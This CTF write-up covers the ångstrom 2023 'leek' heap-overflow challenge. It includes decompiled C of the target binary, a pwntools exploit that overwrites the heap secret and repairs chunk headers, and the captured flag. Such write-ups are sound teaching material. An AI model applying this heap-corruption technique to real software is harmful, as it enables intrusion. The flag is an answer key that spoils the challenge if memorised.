ångstrom CTF 2023 - leek (heap overflow)

nc challs.actf.co 31310
Author: JoshDaBosh

  • [143 solves / 100 points]

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int i; // [rsp+0h] [rbp-50h]
int j; // [rsp+4h] [rbp-4Ch]
__gid_t rgid; // [rsp+8h] [rbp-48h]
char *heap_addr; // [rsp+10h] [rbp-40h]
void *heap_random; // [rsp+18h] [rbp-38h]
char s2[40]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v12; // [rsp+48h] [rbp-8h]

v12 = __readfsqword(0x28u);
v3 = time(0LL);
srand(v3);
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
puts("I dare you to leek my secret.");
for ( i = 0; i < N; ++i )
{
heap_addr = (char *)malloc(0x10uLL);
heap_random = malloc(0x20uLL);
memset(heap_random, 0, 0x20uLL);
getrandom();
for ( j = 0; j <= 31; ++j )
{
if ( !*((_BYTE *)heap_random + j) || *((_BYTE *)heap_random + j) == 10 )
*((_BYTE *)heap_random + j) = 1;
}
printf("Your input (NO STACK BUFFER OVERFLOWS!!): ");
input(heap_addr); // heap overflow
printf(":skull::skull::skull: bro really said: ");
puts(heap_addr); // print
printf("So? What's my secret? ");
fgets(s2, 33, stdin);
if ( strncmp((const char *)heap_random, s2, 0x20uLL) )
{
puts("Wrong!");
exit(-1);
}
puts("Okay, I'll give you a reward for guessing it.");
printf("Say what you want: ");
gets(heap_addr); // bof
puts("Hmm... I changed my mind.");
free(heap_random);
free(heap_addr);
puts("Next round!");
}
puts("Looks like you made it through.");
win();
return v12 - __readfsqword(0x28u);
}

I can find heap overflow in memcpy of input(). And then, There are second bof in heap from gets(). At that time, I should have understanding the structure of heap. If the structure of heap is destroyed, I’ll be meet Double free vulnerability. (This will be caused by recognizing the heap as one.)

Solve

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

# p = process('./leek')
p = remote('challs.actf.co', 31310)
e = ELF('./leek')

for i in range(0x64):
payload = b''
payload += b'A' * 64

p.sendlineafter('): ', payload)

payload = b''
payload += b'A' * 32

p.sendafter('secret? ', payload)

payload = b''
payload += b'A' * 16
payload += p64(0)
payload += p64(0x31)
payload += b'A' * 16
payload += p64(0)

# pause()
p.sendlineafter('want: ', payload)

p.interactive()

Flag

1
actf{very_133k_of_y0u_777522a2c32b7dd6}